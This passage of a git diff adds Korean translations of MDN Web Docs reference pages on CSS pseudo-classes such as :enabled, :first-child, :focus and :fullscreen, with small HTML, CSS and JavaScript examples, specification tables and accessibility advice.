+<pre class="brush: js notranslate">// 페이지 로딩이 끝날 때까지 기다림
+document.addEventListener('DOMContentLoaded', function () {
+  // `change` 이벤츠 수신기를 체크박스에 부착
+  document.getElementById('billing-checkbox').onchange = toggleBilling;
+}, false);
+
+function toggleBilling() {
+  // 청구지 텍스트 입력 칸을 모두 선택
+  var billingItems = document.querySelectorAll('#billing input[type="text"]');
+
+  // 하나씩 토글
+  for (var i = 0; i &lt; billingItems.length; i++) {
+    billingItems[i].disabled = !billingItems[i].disabled;
+  }
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 300, 250)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Defines the semantics of HTML and forms.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Defines the pseudo-class, but not the associated semantics.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.disabled")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>
+  <p>{{Cssxref(":enabled")}}</p>
+ </li>
+</ul>
diff --git a/files/ko/web/css/_colon_enabled/index.html b/files/ko/web/css/_colon_enabled/index.html
new file mode 100644
index 0000000000..edd9c70c2f
--- /dev/null
+++ b/files/ko/web/css/_colon_enabled/index.html
@@ -0,0 +1,100 @@
+---
+title: ':enabled'
+slug: 'Web/CSS/:enabled'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:enabled'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>:enabled</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 모든 활성 요소를 나타냅니다. 활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 있는 요소를 말합니다. 반대 상태인 비활성 요소도 존재합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 모든 활성 &lt;input&gt; 선택 */
+input:enabled {
+  color: blue;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 모든 활성 텍스트 및 버튼 {{htmlElement("input")}}의 글자 색을 초록색으로 만들고, 비활성 상태는 회색으로 만듭니다. 이런 구분을 통해 사용자는 상호작용 가능한 요소를 쉽게 구별할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;form action="url_of_form"&gt;
+  &lt;label for="FirstField"&gt;First field (enabled):&lt;/label&gt;
+  &lt;input type="text" id="FirstField" value="Lorem"&gt;&lt;br&gt;
+
+  &lt;label for="SecondField"&gt;Second field (disabled):&lt;/label&gt;
+  &lt;input type="text" id="SecondField" value="Ipsum" disabled="disabled"&gt;&lt;br&gt;
+
+  &lt;input type="button" value="Submit"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css;">input:enabled {
+  color: #2b2;
+}
+
+input:disabled {
+  color: #aaa;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 550, 95)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Defines the semantics for HTML and forms.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Defines the pseudo-class, but not the associated semantics.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.enabled")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref(":disabled")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_first-child/index.html b/files/ko/web/css/_colon_first-child/index.html
new file mode 100644
index 0000000000..9d229f4dd5
--- /dev/null
+++ b/files/ko/web/css/_colon_first-child/index.html
@@ -0,0 +1,134 @@
+---
+title: ':first-child'
+slug: 'Web/CSS/:first-child'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:first-child'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:first-child</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 형제 요소 중 제일 첫 요소를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any &lt;p&gt; that is the first element
+   among its siblings */
+p:first-child {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;p&gt;This text is selected!&lt;/p&gt;
+  &lt;p&gt;This text isn't selected.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;h2&gt;This text isn't selected: it's not a `p`.&lt;/h2&gt;
+  &lt;p&gt;This text isn't selected.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p:first-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p><span>{{EmbedLiveSample('기본_예제', 500, 200)}}</span></p>
+
+<h3 id="목록_스타일링">목록 스타일링</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;Item 1&lt;/li&gt;
+  &lt;li&gt;Item 2&lt;/li&gt;
+  &lt;li&gt;Item 3
+    &lt;ul&gt;
+      &lt;li&gt;Item 3.1&lt;/li&gt;
+      &lt;li&gt;Item 3.2&lt;/li&gt;
+      &lt;li&gt;Item 3.3&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">ul li {
+  color: blue;
+}
+
+ul li:first-child {
+  color: red;
+  font-weight: bold;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('목록_스타일링')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Matching elements are not required to have a parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-child-pseudo', ':first-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-child', ':first-child')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.first-child")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef(":-moz-first-node")}} {{Non-standard_Inline}}</li>
+ <li>{{CSSxRef(":first-of-type")}}</li>
+ <li>{{CSSxRef(":last-child")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_first-of-type/index.html b/files/ko/web/css/_colon_first-of-type/index.html
new file mode 100644
index 0000000000..d1ac0c65fc
--- /dev/null
+++ b/files/ko/web/css/_colon_first-of-type/index.html
@@ -0,0 +1,115 @@
+---
+title: ':first-of-type'
+slug: 'Web/CSS/:first-of-type'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Selector
+  - Web
+translation_of: 'Web/CSS/:first-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:first-of-type</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 형제 요소 중 자신의 유형과 일치하는 제일 첫 요소를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any &lt;p&gt; that is the first element
+   of its type among its siblings */
+p:first-of-type {
+  color: red;
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 초기 정의에서는 부모가 있는 요소만 선택할 수 있었습니다. Selectors Level 4부터는 이 제한이 사라졌습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="첫_문단_스타일링">첫 문단 스타일링</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Heading&lt;/h2&gt;
+&lt;p&gt;Paragraph 1&lt;/p&gt;
+&lt;p&gt;Paragraph 2&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p:first-of-type {
+  color: red;
+  font-style: italic;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('첫_문단_스타일링')}}</p>
+
+<h3 id="중첩_요소">중첩 요소</h3>
+
+<p>아래 코드는 중첩 요소를 선택하는 방법을 보입니다. 기본 선택자를 지정하지 않은 경우 <a href="/ko/docs/Web/CSS/Universal_selectors">전체 선택자</a>(<code>*</code>)가 암시된다는 점도 볼 수 있습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;article&gt;
+  &lt;div&gt;This `div` is first!&lt;/div&gt;
+  &lt;div&gt;This &lt;span&gt;nested `span` is first&lt;/span&gt;!&lt;/div&gt;
+  &lt;div&gt;This &lt;em&gt;nested `em` is first&lt;/em&gt;, but this &lt;em&gt;nested `em` is last&lt;/em&gt;!&lt;/div&gt;
+  &lt;div&gt;This &lt;span&gt;nested `span` gets styled&lt;/span&gt;!&lt;/div&gt;
+  &lt;b&gt;This `b` qualifies!&lt;/b&gt;
+  &lt;div&gt;This is the final `div`.&lt;/div&gt;
+&lt;/article&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">article :first-of-type {
+  background-color: pink;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('중첩_요소', 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Matching elements are not required to have a parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.first-of-type")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref(":first-child")}}, {{Cssxref(":last-of-type")}}, {{Cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_first/index.html b/files/ko/web/css/_colon_first/index.html
new file mode 100644
index 0000000000..2058627f4b
--- /dev/null
+++ b/files/ko/web/css/_colon_first/index.html
@@ -0,0 +1,97 @@
+---
+title: ':first'
+slug: 'Web/CSS/:first'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:first'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:first</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 {{cssxref("@page")}} <a href="/ko/docs/Web/CSS/At-rule">@-규칙</a>과 함께 사용되며, 출력 시의 첫 페이지를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Selects the first page when printing */
+@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}</pre>
+
+<div class="note"><strong>참고:</strong> :first 의사 클래스 안에서는 CSS  속성의 사용이 제한됩니다. 바깥 여백, {{cssxref("orphans")}}, {{cssxref("widows")}}와 페이지 넘김만 바꿀 수 있으며, 여백 지정 시 <a href="/ko/docs/Web/CSS/length#절대길이_단위">절대길이 단위</a>만 사용할 수 있습니다. 다른 모든 속성은 무시합니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;First Page.&lt;/p&gt;
+&lt;p&gt;Second Page.&lt;/p&gt;
+&lt;button&gt;출력!&lt;/button&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@page :first {
+  margin-left: 50%;
+  margin-top: 50%;
+}
+
+p {
+  page-break-after: always;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.querySelector("button").addEventListener('click', () =&gt; {
+  window.print();
+});
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>"출력!" 버튼을 눌러 페이지 출력 화면을 확인해보세요. 첫 번째 페이지의 콘텐츠는 중앙 어딘가에 위치하고, 두 번째 페이지의 콘텐츠는 기본 위치에 존재해야 합니다.</p>
+
+<p>{{ EmbedLiveSample('예제', '80%', '150px') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#left-right-first', ':first')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', ':first')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.first")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("@page")}}</li>
+ <li>페이지 관련 다른 의사 클래스: {{Cssxref(":left")}}, {{Cssxref(":right")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_focus-within/index.html b/files/ko/web/css/_colon_focus-within/index.html
new file mode 100644
index 0000000000..7a25dc5b94
--- /dev/null
+++ b/files/ko/web/css/_colon_focus-within/index.html
@@ -0,0 +1,96 @@
+---
+title: ':focus-within'
+slug: 'Web/CSS/:focus-within'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Selector
+  - Web
+translation_of: 'Web/CSS/:focus-within'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:focus-within</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 포커스를 받았거나, 포커스를 받은 요소를 포함하는 요소를 나타냅니다. 즉 스스로 {{CSSxRef(":focus")}} 의사 클래스와 일치하거나, 그 자손 중 하나가 <code>:focus</code>와 일치하는 요소를 나타냅니다. (<a href="/ko/docs/Web/Web_Components/Shadow_DOM">섀도 트리</a> 내부도 포함)</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects a &lt;div&gt; when one of its descendants is focused */
+div:focus-within {
+  background: cyan;
+}</pre>
+
+<p>흔히 쓸 수 있는 예시로서, {{HTMLElement("form")}}의 {{HTMLElement("input")}} 필드 중 하나가 포커스된 경우 전체 <code>&lt;form&gt;</code>을 강조해야 할 때 유용하게 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서는 두 텍스트 입력 칸 중 하나라도 포커스를 받은 경우 양식을 강조합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;아래 양식의 값을 채워주세요.&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;label for="given_name"&gt;이름:&lt;/label&gt;
+  &lt;input id="given_name" type="text"&gt;
+  &lt;br&gt;
+  &lt;label for="family_name"&gt;성:&lt;/label&gt;
+  &lt;input id="family_name" type="text"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css highlight[7] notranslate">form {
+  border: 1px solid;
+  color: gray;
+  padding: 4px;
+}
+
+form:focus-within {
+  background: #ff8;
+  color: black;
+}
+
+input {
+  margin: 4px;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 500, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-focus-within-pseudo", ":focus-within")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.focus-within")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_focus/index.html b/files/ko/web/css/_colon_focus/index.html
new file mode 100644
index 0000000000..3a3e853e44
--- /dev/null
+++ b/files/ko/web/css/_colon_focus/index.html
@@ -0,0 +1,116 @@
+---
+title: ':focus'
+slug: 'Web/CSS/:focus'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Selector
+  - Web
+translation_of: 'Web/CSS/:focus'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:focus</code></strong> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">의사 클래스</a>는 양식의 입력 칸 등 포커스를 받은 요소를 나타냅니다. 보통 사용자가 요소를 클릭 또는 탭하거나, 키보드 <kbd>Tab</kbd> 키로 선택했을 때 발동합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any &lt;input&gt; when focused */
+input:focus {
+  color: red;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>:focus</code>는 포커스를 받은 요소 자체에만 해당합니다. 자손이 포커스를 받았을 때의 요소를 선택해야 하면 {{CSSxRef(":focus-within")}}을 사용하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;input class="red-input" value="저는 포커스를 받으면 빨갛게 됩니다."&gt;&lt;br&gt;
+&lt;input class="blue-input" value="저는 포커스를 받으면 파랗게 됩니다."&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css highlight[1, 6] notranslate">.red-input:focus {
+  background: yellow;
+  color: red;
+}
+
+.blue-input:focus {
+  background: yellow;
+  color: blue;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>낮은 시력을 가진 사용자도 시각적 포커스 지시자를 볼 수 있어야 합니다. 이는 또한 맑은 날의 외부처럼 밝은 공간에서의 스크린 사용자처럼 다른 사람에게도 도움이 될 수 있습니다. <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a>는 시각적 포커스 지시자의 대비를 최소한 3:1로 요구하고 있습니다.</p>
+
+<ul>
+ <li>Accessible Visual Focus Indicators: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Give Your Site Some Focus! Tips for Designing Useful and Usable Focus Indicators</a></li>
+</ul>
+
+<h3 id="focus_outline_none"><code>:focus { outline: none; }</code></h3>
+
+<p>절대 포커스의 기본 외곽선(시각적 포커스 지시자)을 대체 외곽선 없이 제거하지 마세요. 대체 외곽선은 <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> 기준을 통과해야 합니다.</p>
+
+<ul>
+ <li>Quick Tip: <a href="https://a11yproject.com/posts/never-remove-css-outlines/">Never remove CSS outlines</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "scripting.html#selector-focus", ":focus")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Defines HTML-specific semantics.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#focus-pseudo", ":focus")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#the-user-action-pseudo-classes-hover-act", ":focus")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#dynamic-pseudo-classes", ":focus")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.focus")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_fullscreen/index.html b/files/ko/web/css/_colon_fullscreen/index.html
new file mode 100644
index 0000000000..70e0c0308c
--- /dev/null
+++ b/files/ko/web/css/_colon_fullscreen/index.html
@@ -0,0 +1,94 @@
+---
+title: ':fullscreen'
+slug: 'Web/CSS/:fullscreen'
+tags:
+  - CSS
+  - Fullscreen API
+  - Pseudo-class
+  - Reference
+  - Selector
+  - 전체화면
+translation_of: 'Web/CSS/:fullscreen'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:fullscreen</code></strong> <a href="/en-US/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 전체 화면 모드에 진입한 모든 요소와 일치합니다. 다수의 요소가 전체 화면 중이라면 그 요소 모두 선택합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="사용_참고">사용 참고</h2>
+
+<p><code>:fullscreen</code> 의사 클래스는 요소가 전체 화면과 일반적인 모습을 넘나들 때마다 크기, 스타일, 레이아웃 등을 조정하도록 스타일시트를 설정할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이번 예제에서는 문서의 전체 화면 여부에 따라 버튼의 색을 변경합니다. 스타일 변경은 JavaScript 없이 CSS에서만 처리합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>페이지의 HTML 구조는 다음과 같습니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;MDN Web Docs Demo: :fullscreen pseudo-class&lt;/h1&gt;
+
+&lt;p&gt;This demo uses the &lt;code&gt;:fullscreen&lt;/code&gt; pseudo-class to automatically
+  change the style of a button used to toggle full-screen mode on and off,
+  entirely using CSS.&lt;/p&gt;
+
+&lt;button id="fs-toggle"&gt;Toggle Fullscreen&lt;/button&gt;</pre>
+
+<p>ID가 <code>"fs-toggle"</code>인 {{htmlelement("button")}}은 문서가 전체 화면이면 흐릿한 빨강, 그렇지 않으면 흐릿한 초록으로 색이 바뀝니다.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>스타일 마법은 CSS에서 일어납니다. 두 가지 규칙을 사용할 것으로, 첫 번째는 전체 화면이 아닐 때 전체 화면 버튼의 배경색을 설정합니다. 중요한 것은 <code>:not(:fullscreen)</code>으로, <code>:fullscreen</code> 의사 클래스와 일치하지 않는 요소를 선택합니다.</p>
+
+<pre class="brush: css notranslate">#fs-toggle:not(:fullscreen) {
+  background-color: #afa;
+}
+</pre>
+
+<p>문서가 전체 화면에 들어간 경우, 대신 아래의 CSS를 적용하여 버튼 배경을 흐릿한 빨강으로 바꿉니다.</p>
+
+<pre class="brush: css notranslate">#fs-toggle:fullscreen {
+  background-color: #faa;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#:fullscreen-pseudo-class', ':fullscreen')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.fullscreen")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fullscreen_API">Fullscreen API </a></li>
+ <li><a href="/ko/docs/Web/API/Fullscreen_API/Guide">Fullscreen API 안내서</a></li>
+ <li>{{cssxref(":not")}}</li>
+ <li>{{cssxref("::backdrop")}}</li>
+ <li>DOM API: {{ domxref("Element.requestFullscreen()") }}, {{ domxref("Document.exitFullscreen()") }}, {{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{HTMLAttrXRef("allowfullscreen", "iframe")}} 특성</li>
+</ul>
diff --git a/files/ko/web/css/_colon_hover/index.html b/files/ko/web/css/_colon_hover/index.html
new file mode 100644
index 0000000000..27a26aefe2
--- /dev/null
+++ b/files/ko/web/css/_colon_hover/index.html
@@ -0,0 +1,97 @@
+---
+title: ':hover'
+slug: 'Web/CSS/:hover'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:hover'
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong><code>:hover</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">의사 클래스</a>는 사용자가 포인팅 장치를 사용해 상호작용 중인 요소를 선택합니다. 보통 사용자의 커서(마우스 포인터)가 요소 위에 올라가 있으면 선택됩니다.</p>
+
+<pre class="brush: css no-line-numbers">/* "호버링" 중인 &lt;a&gt; 요소 선택 */
+a:hover {
